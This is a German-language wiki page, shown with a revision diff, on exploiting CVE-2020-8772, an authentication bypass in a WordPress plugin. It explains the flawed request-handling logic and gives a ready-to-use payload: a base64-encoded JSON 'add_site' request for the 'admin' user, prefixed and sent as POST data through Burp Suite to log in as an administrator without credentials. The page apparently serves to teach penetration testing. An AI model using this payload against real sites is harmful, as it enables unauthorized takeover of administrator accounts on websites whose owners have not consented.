Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 21: Zeile 21:
  
 
*echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
 
*echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
[[Datei:Authentication-Bypass-Wordpress1.png|900px]]
 
 
*Append the base64 generated payload with the String mentioned in the exploit URL.
 
*Append the base64 generated payload with the String mentioned in the exploit URL.
  
Zeile 35: Zeile 34:
  
  
 
+
==Links==
  
 
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]
 
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

Version vom 13. Mai 2022, 09:21 Uhr

CVE

  • CVE-2020-8772

Vorbermerkung

  • Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
  • Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
  • Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
  • Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
  • (in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
  • Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
  • DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.


Request

  • Reload the target website and intercept the request using Burp Suite.

Authentication-Bypass-Wordpress.png

Payload

  • Create the JSON payload and convert it to base64.
Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
  • echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
  • Append the base64 generated payload with the String mentioned in the exploit URL.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  • Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.
  • Place the payload created as POST request arguments.

Authentication-Bypass-Wordpress2.png

  • Click on Forward and turn of the intercept.



Links

Bypass